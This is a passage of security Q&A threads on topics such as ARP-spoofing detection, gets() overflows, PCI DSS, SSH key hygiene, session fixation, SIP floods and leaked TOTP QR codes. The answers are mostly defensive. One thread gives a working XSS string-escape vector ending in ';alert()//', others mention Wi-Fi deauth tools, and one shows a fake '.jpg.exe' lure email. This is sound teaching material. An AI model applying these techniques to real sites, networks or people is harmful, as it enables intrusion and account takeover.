Because you are choosing the password when you export the key. There is no password before that (unless you lock your keyring with a password, but you will have needed to unlock it for gpg beforehand anyway).
GPG takes the private key, asks you for a password, and uses the password to encrypt the private key. Then it outputs the ciphertext private key. It is doing automatically exactly what I think you imagined doing manually when you asked about whether to "further encrypt it with a password of mine".


Man-in-the-middle attack detected by antivirus, how is that possible? I have tried to perform a mitm attack on one of my pc's which has Eset antivirus installed.

I tried to intercept http/https data by forwarding port 80 & 443 with iptables. Then I used arpspoof command along with mitmproxy for the attack. I also used a on-the-fly ssl certificate with mitmproxy.  Once I put everything in place and started the attack, the antivirus on my target pc immediately detected and blocked the attack.

The message I got is the following: Network event blocked - Duplicate IP addresses on network A computer on the network is sending malicious traffic. This can be an attempt to attack your computer. Well yes I redirected the traffic.

So I would like to know, how the antivirus actually was able to detect the attack?

Most likely your attempt was detected due to the arp-spoofing attack. This attack send several arp packets in a very short period of time, containing an already-in-use IP address. When a anti-virus (or IPS/IDS) see a machine with this behavior it automatically classify it as malicious and, depending on the software, it may blacklist the IP.

To understand the anatomy of a arp spoofing attack, check this page or this video that details the attack.


Morris worm and fixes I am new to information security and was reading about Morris worm and encoutnered some nice reports and articles on it like this, this and this. There are many other article and tech reports on this. The first one talks about issues with BSD UNIX which were exploited by the worm. However, I could not find anything about if the bug in gets is fixed or not i.e. whether gets, scanf, fscanf etc. check for bounds on input buffers or not. And similarly, what about other bugs which were exploited.

Also, is there any study or estimate about what would be the cost if someone is able to launch an attack simialr to that today?

However, I could not find anything about if the bug in gets is fixed or not i.e. whether gets, scanf, fscanf etc. check for bounds on input buffers or not.

With some understanding how C works or a look at the documentation it is actually hard to miss that these bugs are not fixed and cannot be fixed while keeping the same function interface.

Given that these functions only get a pointer to a buffer (char*) and not the size of the buffer and given that there is no implicit size is associated with the buffer in C, it is impossible for these functions to check the (unknown) bounds. This means it is impossible to fix these insecure-by-design functions will keeping the API.

This is even clearly described for example in man gets:

  Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.

  Also, is there any study or estimate about what would be the cost if someone is able to launch an attack similar to that today?

I'm not aware of any serious research and I could not imagine any since there are too much unknowns: how far could the worm spread, what is the actual damage it does on each system... But, if such a worm is successful the damage will be much higher than in the past since way more systems are connected together and also the criticality of these systems is much higher. I recommend to have a look at recent attacks like WannaCry.


Handling unencrypted HTTP data for a PCI compliant system - in scope for PCI DSS v3 but not v2? We currently have a custom, cloud based application that can analyse then route HTTP and HTTPS traffic through to a domain. So if a client wants to use our service, they re-point their DNS to our application's IP address and our application will analyse the traffic and then route as appropriate.

In order to satisfy our clients' PCI DSS compliance, we do not decrypt or analyse HTTPS traffic, only HTTP. HTTPS traffic is simply routed through to the target system. This means we do not have to comply with PCI ourselves to maintain our clients' compliance.

However, in order to maintain our clients' compliance for PCI v3 that comes into play at the end of 2014, we have been advised that this would not be acceptable. The fact that the HTTP data is passing through our system will make the clients' systems non compliant as a flaw in our system might allow for a MITM to change the redirect for the payment details to a different site instead of the encrypted HTTPS channel for the card holder details (sort of like sslstrip). Our other solution, which was requiring our clients to host HTTPS content on a separate domain that is pointed directly to the customer's system was also not likely to be acceptable for PCI v3 because the unencrypted HTTP data would be subject to the same attack (i.e. they could be directed elsewhere).

Which specific changes in PCI v3 would likely affect our clients' PCI DSS compliance for this issue?

Part of both answers:

Disclaimer: I am not a QSA.  And I'm straying farther into opinion here than I prefer to, so apply salt in grain form.

New answer following edit of question:

There are two changes with DSS 3 that bear on what you seem to be flirting with

the addition of the new SAQ A-EP category.
the back alley tussle that has been iframes versus javascript
which keeps threatening to break out into some form of
official guidance.

Both of these items are concerned with the provenance of credit card transaction flow.  If I go to website X, and click "Check Out" from their shopping cart, I go somewhere to enter my credit card details.  Where is that somewhere?  How do I know it's where I'm meant to be?  How do I know it's not routing my traffic through Bulgaria first?

Your business appears to be a traffic middleman.  Voila, you're exactly what PCI is moving towards avoiding, or at least securing.  You want your clients to seamlessly send traffic your way and you'll provide value X.  But PCI doesn't want traffic seamlessly redirected unless there's sufficient security - to make sure, for example, no one can edit the process to use a different (malicious) checkout page.

You route traffic based on analysis.  Great!  That means an attacker can use you to reroute traffic.  In PCI terms, that means you're either in scope or not permitted.  And as a service provider who has stayed out of scope in the past, that means something's likely to change.

Now, the provenance issues are not laid out clearly.  I can't point to DSS 3 section 13.7 which says what you're doing is addressed.  But I can tell you that QSAs are going to start asking questions like "And this company does what?  They middle all your HTTP traffic, including the traffic that sends people to shopping cart and checkout?"  Then they'll want to see your service provider certification, because as per the definition of Service Provider:

  This also includes companies that provide services that control or
  could impact the security of cardholder data.

So, yeah, you could end up with problems as the shift to DSS 3 progresses.  I still don't feel confident I understand your business, so I can't say anything for sure, but it you're middling traffic, you're on the list and may lose customers if you're not a certified service provider.  (Prolexic isn't.  Akamai is.  Who can say?)

Original answer below:

I recently performed a line-by-line comparison of PCI DSS v2 versus v3, and I don't recall anything within the DSS itself that would impact the traversal of HTTPS traffic across a provider.  Section 4 deals with the encryption of "cardholder data across open, public networks" and would be the obvious place to look, and that's barely changed.

That being said, two caveats:

1) The DSS is not the only thing to pay attention to.  The wording on the SAQs, if they apply to the businesses in question, and various other guidance papers that elaborate on the meaning for QSAs are also important.

2) It's not completely clear to me that your service is simply a conduit of encrypted traffic.  You state that your clients "re-point their DNS to our application's IP address and our application will analyse the traffic and then route as appropriate."  The phrase "analyse the traffic" will lure any QSA in for a deeper look.  You shouldn't have much to work with for analysis, in the case of HTTPS; you would have to allow the SSL negotiation through to the true backend to nail up HTTPS before the channel was secure from you, and if that's all you're doing, your service isn't doing much.  In short, I don't feel we have enough details about your service to give you solid advice.


Using an encrypted username in API calls I'm writing a RESTful API for a website I'm building and it has methods that use user permissions. For example, I have a method called removeResource(resource_id: int, user: string). The larger pipeline is the user logs in which called an API method that checks their username and password, then if their password is correct returns an encrypted string with their user id. The encryption and decryption is done with Fernet symmetric encryption (https://cryptography.io/en/latest/fernet.html) on the API side. Users have permissions set for what they're allowed to do.
I'm worried about the case when someone tries to make an API call they don't have permission to, so I'm also sending the encrypted user id with every API call that requires permissions. Then I'm decrypting their id on the API side and checking the user's permissions from a database to decide if they actually have permissions for the API they're trying to make.
Is this a safe way to do authentication and be sure a user can't spoof a different user id in API calls since they won't be able to encrypt to a different user id without the key for Fernet that's saved on the API side?

Many types of encryption don't provide integrity guarantees. However, Fernet appears to:

encrypt()  Encrypts data passed. The result of this encryption is known as a “Fernet token” and has strong privacy and authenticity
guarantees.
Parameters:   data (bytes) – The message you would like to encrypt.
Returns bytes:    A secure message that cannot be read or altered without
the key. It is URL-safe base64-encoded. This is referred to as a
“Fernet token”.

So as long as the secret key remains secret, you are good.


Re-pairing Bluetooth devices in public places The wonderful answer to the question "What can an attacker do with Bluetooth and how should it be mitigated?" suggests that frequently re-pairing Bluetooth devices is a "good idea™."

Are there any Bluetooth pairing sequence attacks such that it would be advisable to avoid pairing Bluetooth devices in public places? Or can I generally feel safe re-pairing my phone with a headset or a keyboard in public?

The sub-section of the answer you are referring to indicates that refreshing the security pin frequently is a good idea. By no means is bluetooth a secure technology.

You can read the rest of that answer or this article for some more info on how bluetooth is vulnerable. If you want specific attacks, just google "CVE bluetooth" and read through.

In answer to you asking:

  can I generally feel safe repairing my phone with a headset or a keyboard in public?

Maybe... Just because the threat is out there does not mean someone is actually trying to attack you. Bottom line, it all depends on the level of security you need. If you are working on a confidential doc (why would you be doing that in public anyway) or are banking, I wouldnt use inherently insecure tech to do this, but if you are just playing words with friends, go ahead -who cares.


What are the differences between Burp and OWASP ZAP? I am new to security testing and I'm confused about two web proxy tools, namely Burp and OWASP ZAP.

Both seem to fulfill the same task, so what exactly are the differences between them?

It is true that both tools are in the same space. Burp is a commercial closed source tool (which can be extended) developed by a commercial company while ZAP is a free open source tool developed by the community.

Both have relative strengths and weaknesses, but as the ZAP project lead I'll let others enumerate those as I'm kind of biased.

Having 2 tools with overlapping functionality is (in my opinion) a good thing, and many security people chain ZAP and burp together to get the advantages of both.


Could keystroke timing improve security on a password? When I was young, and had just started out in my software-development career 20 years ago, I wrote a little bit of code on my Amiga that took a password, but also recorded (within some threshold), the speed at which each letter of a password was typed.

This meant that, not only did the user have to type in the right password, they also had to time the key-presses.  To test it, I'd have a rhythm in my head and could consistently re-type the password every time.  However if I just typed it out regularly, or slowly, it was not accepted.

I am no security expert (my programming lies in less-difficult areas, thankfully), but I just suddenly thought about that program I wrote when I was young and whether it was a viable addition to security these days, or whether it's not even worth thinking about.

Tap - Taptaptap - TapTap -- Tap.

The term you are looking for is "keystroke dynamics" or "keystroke biometrics" and is an interesting and growing field.

The idea is that an individual types certain keys in a certain way that does not change much over time. If you can map those dynamics, then you could, potentially, do away with passwords altogether and simply get the user to type anything.


How to deal with SSH keys in insecure environment I am trying to find out a "safe" solution for the following situation.

tl;dr how to keep things secure in an environment that is absolutely not?

I work in a company where workstations are not safe at all, i.e. there is a root-like user on every system.
Basically everyone, and anyone, would be able to find the password for this user, and therefore would have access to any computer and anyone's files or documents that's there. (Yes there is a huge security problem here for Linux stations, but let's not focus on this, I cannot do anything about it...)

Knowing this, I try not to keep anything personnal or sensitive on the computer. However, I bothers me when it comes to ssh keys that are linked to some of my personnal accounts. The same goes for any ssh-config files, and for anything.

I have yet avoided to link ssh-keys from this computer to any account so far but there is obviously a better way to handle this.
I understand that setting a passphrase for an ssh key should make it unusable for anyone not having the passphrase. Then, how should I deal with ssh-agent, should I stop using this to strenghthen security here?

Am I correct in my assumptions?
What can I do to do things as securely as possible, what would be the way to go?

PS: Security here is not an absolute requirement, it is more about understanding how it works, and how I could protect myself / my privacy better. I am not looking for extremly sophisticated workarounds or overkill parano-things.
I guess having another computer that's not a gigantic security hole would be a great way to start, but this is not an option.

You're correct about how the passphrase works. And, given your situation, I'd advise you to not use an SSH agent. You should also be aware that if someone with root access installs a keylogger on your machine, your passphrase may be compromised. To reduce the risk, you can keep the key on e.g. a USB stick, instead of on the local harddrive. For extra security, get an encrypted USB stick such as the Ironkey - they work with Linux as well as with Windows and Mac, and can be set to lock themselves after a certain period of time so that even if you leave it in the machine, it won't be usable without the password.

But in addition to protecting your key, there are some things you can do on the target system to make the key less useful to an attacker.

Have a separate key for each system you connect from.
Restrict the key on the target server, so that it can only be used from that one machine. You do this by editing the authorized_keys file on the server, by inserting from="10.1.2.3" at the start of the line containing this key. (There's more information about how to restrict SSH keys in this ServerFault question.)
Make sure you have logging on the target server, and check if someone actually does log in there. The logs should go to a remote server, as an attacker might be able to alter locally stored logs.
Disallow root logins and passwordless sudo. Make sure that sudo actions are logged.

In addition to these specific points, I'd also say that one should always consider the possibility that an SSH key can get compromised. The way to deal with it is to not rely completely on the SSH key to protect your system - you also need to look at the complete system, logging, checking for rootkits, noticing if/when system files get modified, etc.


Are Java applets more secure than regular forms for login? In Norway we have something called BankID which is a login solution for banks and other stuff. It consists (from a users point of view) of a Java applet where you enter your SSN (person number), a one time generated numeric code by a dongle and a personal password.

What I'm curious about is, what is the reason for using a Java applet for this over simple HTML forms over SSL? What does a Java applet add to those three text fields? Or doesn't it really add that much, but rather depend on someone making a technology choice a while ago that probably should've been remade now?

For example Google offers two-phase sign-in without any Java involved. Is that less secure somehow than this BankID which uses the Java applet?

The main situations where I have encountered Java applets for authentication purposes are signatures. Consider that the server or the client could be an attacker; typically, an online banking/stock exchange site. The user can send buy and sell orders, and may later on try to default on his orders by claiming that he never sent them in the first place, and that the bank is trying to frame him. At that point, the customer and the bank go to see a judge.

In a typical password-over-SSL authentication, on the technical side of things, the bank loses. Indeed, the bank can be reasonably certain that the customer indeed came and sent the orders; but it cannot prove it. For a proof, a digital signature is needed: the customer signs the order, with a private key that the bank knows not. A client certificate for SSL is not sufficient, because the client signature is then upon the SSL session elements, not the application data.

So some custom code must be executed on the client machine. That code must be provably honest since the customer will try to claim that any code sent by the bank could be making signatures without him knowing it. Javascript is not sufficient for that. But a signed Java applet can do the trick: the .jar files will be cached on the client's machine, are signed (so the bank cannot repudiate them), and could be reverse-engineered (this is not that hard for Java bytecode).

Note that, similarly, the applet signature protects the customer, since any felony from the bank itself could be uncovered that way; the signature makes frauds more risky, thus (presumably) less probable.

I am not claiming that this is what your specific example of Java applet does, but at least it is a scenario where Java applets have benefits for security.


XSS in a variable assignment when " are escaped SCENARIO:
user input is reflected inside a variable.
For example
url.com/?a=hello

is reflected as shown below
var test="hello";

I tried to evade from the variable with payload like hello";  or hello%22; or hello%2522; but unsuccessfully.
All these characters are reflected without encoding: .[]{};:{}\/?|_-+ so i can use them
Is there another way to exploit this situation?

No, not given the filter behavior you specified.

You need double quotes (") to exit the JS string context.

You need angle brackets (<>) to exit the <script> tag which I presume surrounds the code.

You can use a backslash (\) at the end of the string to escape the closing quote, however you'd need another injection point on the same line to do anything useful with that. Otherwise you're unable to close the string you've now kept open, and the JS parser will throw a syntax error, implying it does not execute any part of the script.
Here is how an attack would work with two injection points.
Code:
var test="hello"; var test2="stranger";

Vectors:
          \                  ;alert()//

Result:
var test="\"; var test2=";alert()//";
         |--------------|        |--|
       one continuous string    comment


Unable to See Network Clients during Deauth Capture Issue bit of a general question here, would hope to learn more about exactly what is going on technically.

I'm attempting to test and capture a handshake from my own AP (an older Apple Airport router).

I've used various tools from airgeddon to wifite to fluxion to manual airodump-ng and the weird thing is: I cannot see a single client connect to the AP.

But my laptop and two mobile devices are connected. I've even disabled/enabled WiFi on the mobile device during a fluxion passive listening attack, mdk3 doesn't work, nothing sees any clients.

I've also run the same experiment on a new Airport Extreme AP, and it captures just fine and sees clients.

For this, I'm using an ALFA adapter with the Ralink RT3070 chipset (802.11b/g/n) @ 2.4Ghz.

I'll boot up the Nano which I just got recently next, but just curious as to WHY various tools are unable to see clients, therefore unable to deauth (or even passively listen) to ultimately capture the CAP

If all the tools are failing... the most probably answer is that the problem is not related to the tools. Probably you have some problem on your driver or on your OS installation.
In theory, the chipset you have is able to be set in monitor mode, capture handshakes, etc... at least on airgeddon. Check the "whitelist" of the fully working cards: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Cards%20and%20Chipsets


Are all these attacks possible with WiFi MitM or is it over-hyped nonsense? My dad sent me this video asking if he should be worried about this?

The video shows:

a wifi AP broadcasting an airport's wifi name
security researcher seeing the sites the victim browses
security researcher viewing files accessed by victim on cloud storage
victim installing attacker's "free wifi" app
the app giving the security researcher full control over the device

Obviously most folks should be wary of untrusted WiFi networks, but there’s a couple of strange things occurring that makes me wonder if this is just an over-hyped hacker story.

First, the Google search he performs seems to be protected by TLS, how is that possible with just MitM?

Then he does some truly mind-blowing stuff like being able to access the microphone, record audio and send it to himself. No way that’s done via just an MitM over WiFi.

Am I missing something, or does this community concur that this video is either over-simplified or just plain deceitful?

Connecting to a strange WiFi might get you into trouble, but it alone cannot cause this level of compromise... can it?

Am I missing something, or does this community concur that this video
  is either over-simplified or just plain deceitful.

I wouldn't say it's deceitful, but it's definitely overhyped/oversimplified.

  First, the Google search he performs seems to be protected by TLS, how
  is that possible with just MiTM?

Yes. In order to do that, he would have to either strip SSL or install a root CA certificate on the mobile device. So you can't simply MITM https websites (the video over-simplifies it).

  Then he does some truly mind-blowing stuff like being able to access
  the microphone, record audio and send it to himself. No way that’s
  done via just an MiTM over WiFi.

Of course not. You cant just use a phone's microphone via MITM over wifi. As you can see in the video itself, he says that you make a victim install an application and then you can record microphone or access data on the phone. He obviously oversimplifies it. Not only will the victim have to install the application, but also have to give all the required permissions to the app (if you are dumb enough to do that, I guess you could make someone install root CA as well).

  Connecting to a strange WiFi might get you into trouble, but it alone
  cannot cause this level of compromise .... isn’t it?

At the end of the day using public WIFI is similar to being in the same network as the attacker but that's about it. Don't be stupid, keep software updated and be informed about security. The story is overhyped. Same as the ads from VPN companies.


Security of SSL certificates bought via resellers There are many SSL certificate resellers - some are well known enterprises with good reputation (e.g. domain name registrars) while others are small and unknown companies.

It is clear that resellers don't have access to private keys of certificates purchased via them (unless private key is given to or taken from the reseller; CSR does not contain private key).

But the tricky part is validation procedures done on reissuance (issuance of similar certificate with different private key, during validity period of the the certificate).

My experience shows that at least in some reseller-CA combinations old certificates are not automatically/immediately revoked when doing reissuance. This leads to situation where several certificates (with different private keys) for the same domain name are valid during the same validity period, bought via the same certificate purchase. There are also some legitimate use cases for this (e.g. if multiple servers serving the same site are secured with the "same" certificate and each server has its own private key). Are there CAs that automatically revoke old certificates during reissuance?
My experience shows that at least in some reseller-CA combinations (at least domain level) re-validation is always done during reissuance. Is there any regulations for CAs enforcing re-validation on every reissuance? Is there a risk that malicious reseller could deceive CA and request a certificate reissuance without the re-validation procedure (i.e. can malicious reseller generate his own CSR, give it to CA/RA and get it signed, claiming his customer is doing reissuance)? If yes, are there CAs whose policies require re-validation on every reissuance?

Basically the question is - is it secure to buy SSL certificates from cheap (and unknown) resellers? Or they can abuse the reissuance process (by fooling CAs/RAs to issue fraudulent certificates)?

It's not any less secure than going directly through a CA. CA's can be compromised just like anyone else. Even if the CA required revalidation, the reseller could just claim to have done it.


Do the Spectre and Meltdown CPU bugs affect AMD in addition to Intel? If a server or or PC is running AMD CPUs, will those be affected by the Spectre and/or Meltdown bugs currently effecting Intel chips?

Why or why not?

What makes it affect one and not the other? How does architecture play a role?

Spectre works by causing the CPU to speculatively execute code selected by the attacker in the context of the target process.  It does this by getting the branch predictor to guess incorrectly about which way an upcoming branch instruction will go, then looking for side effects of the code whose execution was discarded.  Any CPU that performs speculative execution is vulnerable to Spectre, although if the branch predictor is primitive enough (eg. the 68040's "always take the branch" prediction) or doesn't support predicting indirect branches, Spectre is much harder to make use of.

Meltdown works by speculatively reading protected memory.  On Intel, the protection status of the memory isn't checked until the CPU decides that yes, the "read protected memory" branch of the execution path is the correct one.  In the meantime, observable side effects will have taken place.  AMD states that their CPUs check the protection status earlier and are not affected, and the authors of the Meltdown paper say that they were unable to get the attack to work on ARM.


Certificate and public key flows in mutual TLS I am reading this OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens
I am interested to know how the certificates and public keys are exchanged between the client and the auth server. Maybe in offline mode/manual? or online for example in a post?
So are these actions of the protocol or we must perform them manually?

As client you can registrate those certificates during OAuths Dynamic Client Registration:

Registration requests
send a set of desired client metadata values to the authorization
server.  The resulting registration responses return a client
identifier to use at the authorization server and the client metadata
values registered for the client.  The client can then use this
registration information to communicate with the authorization server
using the OAuth 2.0 protocol.

The metadata that need to be registrated at the authorization server are specified in the OAuth mTLS RFC in:

Section 2.1.2. for the PKI Method
Section 2.2.2. for the Selfsigned Certificate Method


What is the problem with developing secure protocol on top of communication protocol without binding I read that developing a security layer on top of communication protocol without any binding between them could cause an issue like MITM attack. I am having a hard time seeing how that could be possible. Can someone shed some light on this?

If there is no binding, can attackers manipulate lower-level layers to bypass the security layer on top of it?

This is one of the sources that seems to suggest it, if I can understand it correctly.
https://ui.adsabs.harvard.edu/abs/2012IEITI..95..797S/abstract

Implementing a security layer (TLS) on top of an untrusted communication layer (TCP or UDP) without any binding could only cause problems related to protocol ossification at middleboxes (those being, indeed, MITM devices), leading to potential communication disruptions and possible denial of service for certain groups of users or networks.

This is what the QUIC protocol (the modern TLS/TCP replacement) is being designed against.

But (save for occasional denial of service problems) no other security issues could arise because the underlying communication protocol is meant to be untrusted anyway.

However, the paper you're referring to ("Authentication Binding between SSL/TLS and HTTP") tells quite the opposite: implementing a communication protocol on top of a security layer without proper enforced binding could cause implementation issues. This is called the law of leaky abstractions.

A (somewhat) simpler example of how this could happen in practice is domain fronting:

TLS — the security layer — features a concept of Server Name Indication (SNI) — a token that could be used by a client to tell the TLS server which service exactly they want to reach.

This concept and a corresponding SSL/TLS extension were developed long time ago and served the purpose of having multiple TLS services, with multiple certificates, available via a single IP-address-and-port tuple. One example where it was strongly needed had been initially shared hosting, but there were also other applications that started to make use of SNI over the years.
There's a matching concept in the HTTP protocol: the server name, transmitted as a value of the "Host" header.

The TLS server name and HTTP server name are values which come from the same namespace — known as the "Internet domain names" namespace — and in case an HTTP session is established on top of a TLS session, RFC 6066 states that both server names should generally match each other (if there’s no clear purpose and intent by the authors of an implementation to do it the other way).

However, it's up to the HTTPS server's authors to implement this constraint, as the server name from TLS layer isn't automatically inherited in HTTP session.
A common application layer protocol implementation mistake is to use TLS just for session establishment, forgetting entirely to check that the TLS hostname negotiated before matches what client now provides on the application layer.

  NB: in a large corporate or cloud network it gets even worse, because
  sometimes the TLS session is terminated on a specific piece of
  equipment — say, a balancer or a firewall — yet the HTTP session is
  being terminated far away from that.

  This way, the HTTP server gets no
  instrument at all to verify that both server names match, and the firewall
  may omit this check either.

As a side effect, also not usually meant to be present by the software developers, user can take an arbitrary TLS layer name to reach a Web site they want to access without disclosing their intent in cleartext during TLS session establishment. However, as a matter of fact, there are more side effects of this, and under certain circumstances this mistake in the code — or the infrastructure — may even result in a serious vulnerability.
For instance, when client TLS certificates are used for authentication, an attacker can circumvent the authentication by providing a server name of an adjacent TLS service which doesn't require certificate authentication, and then supplying the host name of a desired application layer service after all the TLS layer checks succeeded.

Protocol specifications and implementations usually implicitly rely on the TLS server name and the application layer name being the same, and without a proper binding here other security problems could later appear.


Public DMZ network architecture Years ago, when I was a student, a network security professor taught me in a class what a DMZ is. The architecture he used in his slides was similar to this one:

Now that I got employed, my boss, a security engineer with 10+ years of experience has a different point of view. For him, a DMZ should not be placed in a "sandwich" between the LAN and internet. Instead, it should be like the one illustrated below:

When searching with Google for network architectures with a DMZ, I found different representations and I got even more confused. So my question is, how should a DMZ be placed in a highly secure network architecture? Is the first representation OK from a security point of view?

The two are functionally equivalent - the DMZ is effectively in a sandwich, as it has to have connections from the outside world firewalled, but also have firewalls restricting access from it to the internal network.

While the latter diagram is often what happens (for cost reasons - you need less firewalls) the first one is considered safer as you can use two different makes of firewall, which helps avoid an attack on the firewall breaching both of them. Where you use one firewall, you use sets of rules for each direction and each connection - and functionally this is the same as the sets of rules in the second example.

This is just a slight improvement in security, as generally you don't attack the firewalls - you use the open ports to go straight through and attack the webserver, mailserver, or even pass straight through to attack the database, but layers of security all help.


How to avoid local caches when I open encrypted files For personal usage I tend to keep things that I want to hide or protect in rar archives encrypted and protected with a password. Today I launched an antivirus scan, and as result it found malware in a folder in C:\Users\<username>\AppData\Local\Temp. After further investigations, I noticed the presence of pictures and documents that are currently stored in rar archives (all protected by passwords and encrypted).

It seems like when I access a rar it temporary stores its content in Temp, but I also noticed that it didn't for all the encrypted rar that I have.

That lead me to the following question: if anytime I open a rar it caches its content, then is the whole encryption pointless, unless I clear the Temp folders? But does this happen for everything? Is there a safer way to store sensitive information?

Now I am not even sure if what I have already deleted is really gone or a copy is stored in some default folder. Not that I have to hide anything special, but I know that you can retrieve tons of information from a pc and that makes me paranoid.

Security is hard. While I applaud your attempts to use commonly available programs to increase your security, software that wasn't expressly designed for security often does the little things wrong (as you found out). In your case, your rar program makes a local cache of the contents, presumably so it'll run faster - something that most users would be happy about.

TL;DR: the single best way to protect yourself from data leakage on a personal computer is to use full-disk encryption (or encrypt your user's folder if it's a shared computer), a strong password for your user account, don't share your account with anyone, and make sure you log out (or at least lock your screen) whenever you step away from the computer. Also, turn on your firewall to make sure that programs aren't uploading data anywhere without your permission. That way, even if you are using programs that do the little things wrong, it doesn't matter.

You asked:

  if anytime I open a rar it caches its content, then is the whole encryption pointless?

To answer this question, let's start by asking what problem the rar software is trying to solve by offering this feature. Their goal is to protect the data while it's in motion; ie if I rar a scan of my passport and email it to someone, I want to make sure that nobody can open it unless I give them the password. This feature assumes that the endpoints are secure, meaning that once somebody types in the password, its job is done.

In fact, once it decrypts / unarchives the files and saves them to disk there's really no point in even trying to protect them anymore because every other program on your system can see them. For example, Windows Explorer will index and process the photos in order to display thumbnail previews, leaving cache files behind. And what about actually opening the photos? Which photo viewer will you use? Are you the programmer who wrote it? If not, how do you know that the photo viewer will not make cache files? Or maybe upload your files to the internet? The point is: unless you've personally inspected the source code of every program that's running on your computer (including the OS itself), any one of them could be doing naughty things with your data.

That kind of paranoia is exhausting. Just lock down your user account so that nobody but you can see the data, and let your programs do whatever they want.


Is it Social Engineering when a keylogger is installed from a compromised account on the domain? So… this is a matter of definitions.

Social Engineering (SE) is referred to as being related to psychological manipulation. The relation to manipulation is also prominent in the description made on social-engineering.org:

  We define social engineering (SE) as “any act that influences a person to take an action that may or may not be in their best interest.”

Using a keylogger embedded in a physical device, or the process of getting a user to install a keylogger are both related to SE in my opinion. But what about when an adversary has gained access to a machine over a network and installed a keylogger on the victim's machine. In this case I fail to see how the victim has been SE'd to give their credentials, as the compromise is not due to a victim's action.

Would you use SE to describe the attack in this case, or am I missing a descriptive term for this type of attack?

but what of the case where an adversary has gained access to a machine over a network and installed keylogger software on the target machine.

This is not social engineering.

You are describing the outcome of an attack: an attacker gains access to a machine an put a keylogger. You are describing what happened. However, social engineering is not an attack per se, but an attack vector. Social engineering is more about how it happened.

To call this social engineering, you would need to interact somehow with the victim and influence them to perform some action needed for the attack. How did the attacker managed to gain access to the machine? If the attacker impersonated one of the victim's friend and sent a mail along the lines of:

  Subject: Lol dude

  Message:
  Dude, have you seen that pic of you? Why did you do that lol!!

  File attached: IMG_1234.jpg.exe

Then, it would be social engineering. :-)

One last, thing, when you said:

  In general using a keylogger as a physical device […] [is] related to SE

Once again, this is not social engineering. It depends of how you managed to get that device plugged into the victim's computer.

Did you break-in, during the night and plugged it discretely?
That's not social engineering.
Did you make a malicious USB key, put a sticker TOP-SECRET on it and dropped it in front of the victim's door?
That's social engineering.


Can you trace malware back to a specific keyboard? A CNN article on the recent US Election hacks claims that

  ...the administration has traced the hack to the specific keyboards -- which featured Cyrillic characters -- that were used to construct the malware code, adding that the equipment leaves "digital fingerprints" and, in the case of the recent hacks, those prints point to the Russian government.

Now to me that sounds like total baloney. You're going to trace a character, which may in some executable code back to a specific keyboard? And you're going to know that its one particular model that is physically in one particular location?

Is this nonsense or is there something I'm missing here? Wouldn't it also be trivial to spoof whatever is the source of this info?

A keyboard is not a typewriter. Keyboards produce scancodes that are interpreted by the software and mapped depending on your layout. When a key press produces a letter on your screen it's nothing more than the character value in its respective charset - keyboards don't leave "digital fingerprints" that could be traced back.

Instead, the author probably meant to say that they found strings or identifiers with Cyrillic letters in the source code. But such traces are easy to fake and wouldn't count as "hard evidence"; even metadata could have been planted.

Here's a similar case: After the Operation Aurora cyber attacks, analysts claimed they had found "Chinese source code" from which they concluded that the attack was led from China:

  HBGary, a security firm, recently released a report in which they claim to have found some significant markers that might help identify the code developer. The firm also said that the code was Chinese language based but could not be specifically tied to any government entity.

Here, the case was actually stronger than the Cyrillic keyboard evidence as researchers could trace back parts of the code to a reference implementation that was only released in a Chinese paper:

  Perhaps the most interesting aspect of this source code sample is that it is of Chinese origin, released as part of a Chinese-language paper on optimizing CRC algorithms for use in microcontrollers. [...] This CRC-16 implementation seems to be virtually unknown outside of China

(Source)


What happens if a (google authenticator) one time password QR code is leaked? When there are QR codes for one time password (OTPs) urls (starting with otpauth://) that are supposed to be looked up in an authenticator app such as Google authenticator, what happens if a user accidentally open this QR code in a "normal" QR code reader, that tried for example to open the URL in a web browser (and it is passed on to a search engine, which is the case in Android / Chrome, if the browser does not understand the protocol)?

I.e. will this first code be of use after it is activated in the authenticator app, or is it "deprecated" at that point?

The QR code remains valid and usable; nothing will make it stop working. This actually makes it very dangerous to leak the QR code. If an attacker sees it, even years after you use it the first time, they can set up their own TOTP (Authenticator) app to use your code, and it will generate the same tokens yours does, which can potentially help the attacker hijack whatever account the TOTP code is protecting. If it's something sensitive, you should generate a new code (this can usually be done by turning 2-factor auth off, and then on again). Then, even if anybody got the old code, it won't do them any good.


how does a sip flood attack work? I understand that SIP is an application-level protocol that is used to setup/modify/end communication sessions for things like VOIP and instant messenger. I also understand that users can send request messages (to other users?) and get responses back (saying that the other user will open a session?). I also understand that that this protocol can be used to create a SIP flood, which is a kind of denial of service attack. Is the idea to inundate a particular server with SIP requests--much like one might inundate a server with HTTP requests in an HTTP attack?

I'd recommend reading this paper I found on google: http://www0.cs.ucl.ac.uk/staff/f.huici/publications/sipdos.pdf

Where you are missing is that you don't DoS the server but rather the phones. Servers in SIP are often only used to find the clients. The idea is to flood the clients themselves. As per the publication, it would only take about 180 invite messages per second to take down the phone. Some phones even did a complete reset.


Clarification on how session fixation attacks works Starting with OWASP I am learning how session fixation attacks work.

This is the scenario: The attacker has the session ID generated by the server (by logging in for example), and sends a hyperlink with the same session id in it to the victim. Now when the victim logs into it, the attacker gets control over his account.

My doubts are:

When the attacker uses an already existing session ID, doesn't the server know that the session id has already been taken by the attacker?
When the victim logs into the website, what can an attacker do with it? Any examples?

When the attacker uses an already existing session ID, doesn't the server know that the session id has already been taken by the attacker?

The attacker would send a link with a session ID that is either:

not at all registered at the server - i.e. just a random number on the right format, or
for an actual session that is not logged in, so it is not yet associated with any user.

So the attacker never logs in on the site. It would be foolish by the attacker to send a session ID for a session where she is logged in as herself, since that would give the victim control over the attackers account!

  When the victim logs into the website, what can an attacker do with it? Any examples?

When the victim loggs in, the session ID in question goes from not being associated with any user to being associated with the victim. Since the attacker knows the session ID, she can now use it to impersonate the victim.

This means that she can do anything the victim could do on the site - create and delete content, edit profiles, whatever. Anything that does not require some form of extra authentications such as retyping your password.


Are FaceID/passcode logins secure over public WiFi/hotspots? Unfortunately, I find myself serving a 14d COVID-19 self-isolation period in a hotel which only offers unsecured public WiFi.
This has me wondering if all the financial apps on my iPhone with FaceID-enabled sign-ons are secure or not (e.g. Charles Schwab, American Express, etc.)
Can anyone comment on the typical security stack that would underly this category for app? Does everything boil down to a proper implementation of TLS access to the backend?
